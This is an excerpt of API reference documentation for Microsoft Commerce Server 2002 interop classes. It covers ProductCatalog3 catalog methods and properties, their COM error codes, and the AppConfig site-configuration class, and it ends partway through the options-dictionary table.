using Microsoft.CommerceServer.Interop.Catalog;
…
public string RemoveSpecificationSearchClause(
 ref object pstrSearchHandle
);

Parameters

[Visual Basic .NET]
pstrSearchHandle
An Object that contains the specification search handle from which a constraint is to be removed.
[C#]
pstrSearchHandle
An object that contains the specification search handle from which a constraint is to be removed.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the removed clause.

[C#] This method returns a string containing the removed clause.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method always removes the last constraint that was added to the search by using the AddSpecificationSearchClause method. The returned string will be in the same form as the original constraint.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C#] 0x8898010D [Visual Basic .NET] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....
[Visual Basic .NET]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch
'strRemovedClause will contain the removed clause after the call returns.
strRemovedClause = myProductCatalog.RemoveSpecificationSearchClause(strSearchHandle)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RemoveVirtualCatalogRule Method (PIA)

Use this method to remove a virtual catalog rule.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveVirtualCatalogRule(
  strCatalogName As String,
  vrProductIDOrCategoryName As Object,
  vrVariantID As Object,
  Optional fCategory As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveVirtualCatalogRule(
  string strCatalogName,
  object vrProductIDOrCategoryName,
  object vrVariantID,
  bool fCategory
);

Parameters

[Visual Basic .NET]
strCatalogName
A String that contains the base catalog name.
vrProductIDOrCategoryName
An Object that contains the product ID or category name to which the rule applies.
vrVariantID
An Object that contains the variant ID to which the rule applies.
fCategory
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).
[C#]
strCatalogName
A String that contains the base catalog name.
vrProductIDOrCategoryName
An object that contains the product ID or category name to which the rule applies.
vrVariantID
An object that contains the variant ID to which the rule applies.
fCategory
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &Hx88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C#] 0x889800FD [Visual Basic .NET] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_DELETION_RULE_NOT_FOUND | [C#] 0x889800FE [Visual Basic .NET] &H889800FE | The rule could not be deleted because it does not exist.

Remarks

Set the fCategory parameter to True and the vrProductIDOrCategoryName parameter to an empty string to remove the rule for the catalog specified in the strCatalogName parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.SetCatalogAttributes Method (PIA)

Use this method to set the attributes of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Sub SetCatalogAttributes(
 pRSCatalogAttributes As _Recordset,
 Optional fForceUpdate As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetCatalogAttributes(
 _Recordset pRSCatalogAttributes,
 object fForceUpdate
);

Parameters

[Visual Basic .NET]
pRSCatalogAttributes
A _Recordset interface to a Recordset object containing the new attributes.
fForceUpdate
An Object that causes a forced update of the catalog attributes.
[C#]
pRSCatalogAttributes
A _Recordset interface to a Recordset containing the new attributes.
fForceUpdate
An object that causes a forced update of the catalog attributes. Set to Type.Missing for default behavior.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_CAT_BLANK_LANGUAGE | [C#] 0x889800A5 [Visual Basic .NET] &H889800A5 | The default language associated with this catalog cannot be blank.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &Hx88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_DEFAULT_LANGUAGE | [C#] 0x889800B3 [Visual Basic .NET] &Hx889800B3 | The default language that you specified does not exist as one of the valid catalog languages.
E_CAT_CATALOG_CHANGED | [C#] 0x88980012 [Visual Basic .NET] &Hx88980012 | The catalog properties have been changed since it was last read.

Remarks

Use the GetCatalogAttributes method to get a Recordset of the current attributes. After the Recordset has been modified, use it as the pRSCatalogAttributes parameter to the SetCatalogAttributes method to write the changes back to the catalog. The timestamps in the Recordset will be compared to the timestamps of the attributes being updated for error detection.

The catalog Name, ProductID, CatalogID, and VariantID attributes cannot be changed with this method.

[Visual Basic .NET]

Example

myProductCatalog.SetCatalogAttributes(rsCatalogAttribs, True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.GetCatalogAttributes


ProductCatalog3.SetCategoryCustomPrice Method (PIA)

The SetCategoryCustomPrice method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

ProductCatalog3 Class


ProductCatalog3.SetCustomCatalogAttributes Method (PIA)

The SetCustomCatalogAttributes method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

ProductCatalog3 Class


ProductCatalog3 Properties (PIA)

Properties

Property | Type | Description
BaseCatalogName | String | This property is obsolete. Contains the name of the catalog.
CatalogName | String | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | String | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | String | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | String | Contains the active language of the catalog. This property is read/write.
RootCategories | ADODB26Lib._Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | ADODB26Lib._Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | ADODB26Lib._Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.


ProductCatalog3.BaseCatalogName Property (PIA)

The BaseCatalogName property is obsolete; it always contains the name of the catalog in hand.

See Also

ProductCatalog3 Class


ProductCatalog3.CatalogName Property (PIA)

The CatalogName property is a read-only String that contains the name of this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property CatalogName As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string CatalogName {get;}

Property Value

A string containing the catalog name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

See Also

ProductCatalog3 Class


ProductCatalog3.IdentifyingProductProperty Property (PIA)

The IdentifyingProductProperty property is a read-only String that contains the name of the unique identifier field for the products in this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property IdentifyingProductProperty As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string_IdentifyingProductProperty {get;}

Property Value

A string used to return the name of the identifying product property.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Out of memory.

Remarks

The product ID is cached in the ProductCatalog3 object. Because of the cache, this method will continue to return the old value after the catalog has been deleted.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.IdentifyingVariantProperty


ProductCatalog3.IdentifyingVariantProperty Property (PIA)

The IdentifyingVariantProperty property is a read-only String that contains the name of the unique identifier field for product variants in this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property IdentifyingVariantProperty As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string IdentifyingVariantProperty {get;}

Property Value

A string containing the name of the identifying variant property.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 Visual Basic .NET] &H80004003 | The pointer is invalid.

Remarks

The variant ID is cached in the Recordset object. Because of the cache, this method will continue to return the old value after the catalog has been deleted.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.IdentifyingProductProperty


ProductCatalog3.Language Property (PIA)

The Language property is a read/write String that contains the active language of the catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Property Language As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…

Get method:

Public void get_Language(
  BSTR* Language
);

Put method:

Public void put_Language(
  BSTR Language
);

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that get_Language can return.

Constant | Value | Description
E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Ran out of memory.
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.

The following table shows the custom COM errors that put_Language can return.

Constant | Value | Description
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009E [Visual Basic .NET] &H8898009E | The value you specified for the language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_LANGUAGE_NOT_ASSOCIATED | [C#] 0x889800A4 [Visual Basic .NET] &H889800A4 | The language that you specified is not associated with this catalog.

Remarks

The Language property specifies the language that will be used by all methods of this product catalog and on the Product and Category objects that are obtained from this ProductCatalog3 object. This property is specified as an ISO 639+1 code, and can only be one of the languages supported by the catalog. It defaults to the value of the vrDefaultLanguage parameter specified when the catalog is created.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RootCategories Property (PIA)

The RootCategories property is a read-only Recordset that contains the names of the categories that exist at the root level of this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property RootCategories(
  Optional vrPropertiesRequired As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset get_RootCategories(
  object vrPropertiesRequired
);

Parameters

[Visual Basic .NET]
vrPropertiesRequired
An Objectthat contains a comma-separated list of the required property names.
[C#]
vrPropertiesRequired
An object containing a string that contains a comma-separated list of the required property names. Set to Type.Missing to not specify a property list.

Return Values

This method returns a _Recordset interface to a Recordset used to return the root categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C#] get_Properties does not show up in IntelliSense.

Any category without parents is considered to be a root category.

The Recordset object returned by this method will contain one row for each root category, and a field for each property name in the vrPropertiesRequired parameter. If the parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Note

  • Leading numbers in the property names in the vrPropertiesRequired parameter will be trimmed from the corresponding field names in the returned Recordset. The data will be correct; only the field names will be incorrect. If the property is omitted, then the field names will be correct. Enclose field names that begin with a number in brackets to avoid this problem. For example, oProductCatalog.RootCategories("[123_Prop1],[123_ Prop2]").

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.RootProducts


ProductCatalog3.RootProducts Property (PIA)

The RootProducts property is a read-only Recordset that contains the products that exist at the root level of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property RootProducts As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset RootProducts {get;}

Property Value

A _Recordset interface to a Recordset containing the root products.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Any product that is not contained within a category is considered to be a root product.

The Recordset object returned by this method will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Products added by importing a comma-separated value (CSV) file will be root products.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.
[Visual Basic .NET]

Example

rsRootProducts = myProductCatalog.RootProducts

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.RootCategories


ProductCatalog3.SearchableCategories Property (PIA)

The SearchableCategories property is a read-only Recordset that contains the names of all searchable categories.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property SearchableCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset SearchableCategories {get;}

Property Value

A _Recordset interface to a Recordset containing the names of the searchable categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

The SearchableCategories property returns the names of all the categories in this catalog that can be queried using a specification search. Whether or not a particular category is specification searchable is determined by the value of the IsSearchable attribute. This property can be set at the time the category is created, or can be changed at any time by using the SetCategoryProperties methods of the category object.

The Recordset object returned by this property will contain a single 128-character field called Name. Each row will contain the name of a searchable category.

If there are no searchable categories, a Recordset with its EOF property set to true will be returned.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.CreateCategory

ProductCatalog3.GetCategory


CatalogProduct Recordset Property (PIA)

The fields in this Recordset object will vary, depending on the product definitions in the catalog. The following table contains a list of common fields that will always be part of this Recordset object.

Field name | Data type
CategoryName | String Maximum of 128 characters
oid | Integer
DefinitionName | String Maximum of 128 characters
IsSearchable | Small integer
cy_list_price | Money
PricingCategoryOID | Integer
TimeStamp | TimeStamp
OriginalPrice | Money
i_ClassType | Integer
ProductID | String Maximum of 256 characters
VariantID | String Maximum of 256 characters

Note

  • The oid field is for internal use and should not be updated.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3.PerformSpecificationSearch

ProductCatalog3.RootCategories

ProductCatalog3.RootProducts


Microsoft.CommerceServer.Interop.Configuration

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop.Configuration namespace.

Class | Description
AppConfig | Retrieve site configuration settings from the site configuration store. Also retrieves the names and codes of various country/regions and state/provinces from the site configuration store.
GlobalConfig | Provides methods for the configuration management of global resources.
GlobalConfig2 | Provides methods for the configuration management of global resources, including several methods not included in the GlobalConfig object.
SiteConfig | Provides for configuration management of site resources.
SiteConfigReadOnly | Loads site configuration information from the Administration database.


AppConfig Class (PIA)

Use this object to retrieve site configuration settings from the site configuration store. Also, use this object to retrieve names, country/region codes, and state/province codes from the site configuration store.

Methods

Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.

Remarks

[Visual Basic .NET]

This object is usually created once and initialized in the Global.asax file, for performance reasons. An instance of it is stored in the Application object and used on ASP pages as necessary.

The following example illustrates these steps:

Dim oAppConfig As AppConfig
oAppConfig = New AppConfig()
Application("MSCSAppCfg") = oAppConfig

Country/region codes may or may not be the same as International Organization for Standardization (ISO) country/region codes, depending on what values have been added in Commerce Server Business Desk.

[C#]

This object is usually created once and initialized in the Global.asax file, for performance reasons. An instance of it is stored in the Application object and used on ASP pages as necessary.

The following example illustrates these steps:

<%@ Import Namespace="Microsoft.CommerceServer.Interop.Configuration" %>

<script runat="server" language="C#">

AppConfig MyConfig = new AppConfig();

MyConfig.Initialize(“MySite”);

Application(“AppConfig”) = MyConfig;

</script>

Country/Region codes may or may not be the same as ISO country/region codes, depending on what values have been added in Business Desk.

For more information on ISO country/region codes, see Table of Country/Region Names and Codes and Table of Language Culture Names, Codes, and ISO Values.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

Configuration Class

Table of Country/Region Names and Codes


AppConfig Methods (PIA)

Methods

Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.


AppConfig.DecodeStatusCode Method (PIA)

Use this method to decode the specified status code.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function DecodeStatusCode(
  iStatusCode As Integer
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string DecodeStatusCode(
  int iStatusCode
);

Parameters

[Visual Basic .NET]
iStatusCode
An Integer that specifies the status code to be decoded.
[C#]
iStatusCode
An int that specifies the status code to be decoded.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the decoded status code. If the specified status code is not in the system, that same status code is returned.

[C#] This method returns a string containing the decoded status code. If the specified status code is not in the system, that same status code is returned.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Status codes are entered in Commerce Server Business Desk.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class


AppConfig.GetCountryCodeFromCountryName Method (PIA)

Use this method to get the country/region code corresponding to the specified country/region name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetCountryCodeFromCountryName(
  bstrCountryName As String
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string GetCountryCodeFromCountryName(
  string bstrCountryName
);

Parameters

[Visual Basic .NET]
bstrCountryName
A String that contains the name of the country/region for which the country/region code is being requested.
[C#]
bstrCountryName
A string that contains the name of the country/region for which the country/region code is being requested.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the country/region code. If the country/region code is not found, an empty String is returned.

[C#] This method returns a string containing the country/region code being requested.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the country/region code is not found, the method returns an empty string.

Country/region codes and country/region names are set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppConfig is a Commerce.AppConfig object
' sCode is a String
sCode = oAppConfig.GetCountryCodeFromCountryName( _
  "United States of America")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryNameFromCountryCode

AppConfig.GetCountryNamesList

Table of Country/Region Names and Codes


AppConfig.GetCountryNameFromCountryCode Method (PIA)

Use this method to get the country/region name corresponding to the specified country/region code.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetCountryNameFromCountryCode(
  bstrCountryCode As String
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string GetCountryNameFromCountryCode(
  string bstrCountryCode
);

Parameters

[Visual Basic .NET]
bstrCountryCode
A String that contains the code of the country/region for which the country/region name is being requested.
[C#]
bstrCountryCode
A string that contains the code of the country/region for which the country/region name is being requested.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the country/region name. If the name is not found, the country/region code is returned.

[C#] This method returns a string containing the requested country/region name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the country/region name is not found, the method returns the country/region code specified in the bstrCountryCode parameter.

Country/region codes and country/region names are set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppConfig is a Commerce.AppConfig object
' sCountryName is a String
sCountryName = oAppConfig.GetCountryNameFromCountryCode("us")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryCodeFromCountryName

AppConfig.GetCountryNamesList

Table of Country/Region Names and Codes


AppConfig.GetCountryNamesList Method (PIA)

Use this method to get an alphabetical list of the country/region names that are in the site configuration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop    ‘ for ISimpleList
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetCountryNamesList() As ISimpleList
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using Microsoft.CommerceServer.Interop;              //For ISimpleList
…
public ISimpleList GetCountryNamesList();

Return Values

If this method completes successfully, it returns a reference to an object that implements the ISimpleList interface. This object contains an alphabetical list of country/region names.

[C#] The method returns an ISimpleList interface to a SimpleList object that contains an alphabetical list of country/region names.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Country/region codes and country/region names are set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppConfig is a Commerce.AppConfig object
' listCountries is a SimpleList object
listCountries = oAppConfig.GetCountryNamesList()
For Each sCountry in listCountry
  Response.Write sCountry
Next

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryCodeFromCountryName

Table of Country/Region Names and Codes


AppConfig.GetOptionsDictionary Method (PIA)

Use this method to retrieve a Dictionary object that contains the site configuration information.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetOptionsDictionary(
  bstrUserID As String
) As IDictionary
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using Microsoft.CommerceServer.Interop;              //For IDictionary
…
public IDictionary GetOptionsDictionary (
  string bstrUserID
);

Parameters

[Visual Basic .NET]
bstrUserID
A String that contains an empty string ("").
[C#]
bstrUserID
A string that contains an empty string ("").

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to an object that implements the IDictionary interface that contains the site configuration information.

[C#] This method returns an IDictionary interface to a Dictionary object containing the site configuration information. See the Remarks section for a list of some dictionary keys.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

Some options dictionary keys, such as i_AuctionOptions, are reserved for future use. The following table lists the names of the keys in the Dictionary object returned by this method that are mapped in the Microsoft Management Console (MMC).

Programmatic Name | MMC Default Config Mapping
i_AddItemRedirectOptions | Add item redirect options
i_AddressBookOptions | Address Book Options
f_AltCurrencyConversionRate | Currency: Alternate currency conversion Rate
i_AltCurrencyLocale | Currency: Alternate currency locale
i_AltCurrencyOptions | Currency: Alternate currency options
i_BaseCurrencyLocale | Currency: Base currency locale
i_BillingOptions | Payment options: Billing options
i_BizTalkOptions | BizTalk Options
i_CookiePathCorrectionOptions | Cookie Path Correction Options
i_CurrencyDisplayOrderOptions | Currency: Currency display order options
i_DelegatedAdminOptions | Delegated admin options
i_FormLoginOptions | Form login options
i_FormLoginTimeOut | AuthManager Auth ticket Timeout
i_HostNameCorrectionOptions | Host Name Correction Options
i_PaymentOptions | Payment options
i_SitePrivacyOptions | Site privacy options
i_SiteRegistrationOptions | Site registration options
i_SiteTicketOptions | Site ticket options
s_AltCurrencySymbol | Currency: Alternate currency symbol
s_BaseCurrencySymbol | Currency: Base currency symbol
s_BizTalkCatalogDocType | BizTalk Catalog Doc Type
s_BizTalkConnString | BizTalk connection String
s_BizTalkOrderDocType | BizTalk PO Doc Type
s_BizTalkSourceQualifierID | BizTalk Source Org Qualifier
s_BizTalkSourceQualifierValue | BizTalk Org Qualifier Value
s_BizTalkSubmittypeQueue | BizTalk Submit type
s_PageEncodingCharset | Page encoding charset
s_SMTPServerName | SMTP server name
s_WeightMeasure | Unit of Measure for Weight

The following table lists keys in the Dictionary object returned by this method that are not mapped in the MMC.

Programmatic Name | Value or Description
i_IsFullTextSearchInstalled | Indicates whether SQL Server has full text search enabled
s_BizDataStoreConnectionString | Profiles Service: s_BizDataStoreConnectionString
s_CampaignsConnectionString | Campaigns: connstr_db_Campaigns
s_CatalogConnectionString | Product Catalog: connstr_db_Catalog
s_CommerceProviderConnectionString | Profiles Service: s_CommerceProviderConnectionString
s_NonSecureHostname | This value is set in the Global.asax file to the non-secure host name of the application.
s_ProfileServiceConnectionString | Profiles Service: s_ProfileServiceConnectionString
s_SecureHostname | This value is set in the Global.asax file to the secure host name of the application.
s_SiteName | Name of the Solution Site
s_TransactionConfigConnectionString | Transaction Config: connstr_db_TransactionConfig
s_TransactionsConnectionString | Transactions: connstr_db_Transactions
[C#]

Some options dictionary keys, such as i_AuctionOptions, are reserved for future use. The following table lists the names of the keys in the Dictionary object returned by this method that are mapped in the Microsoft Management Console (MMC).

Programmatic Name | MMC Default Config Mapping
i_AddItemRedirectOptions | Add item redirect options
i_AddressBookOptions | Address Book Options
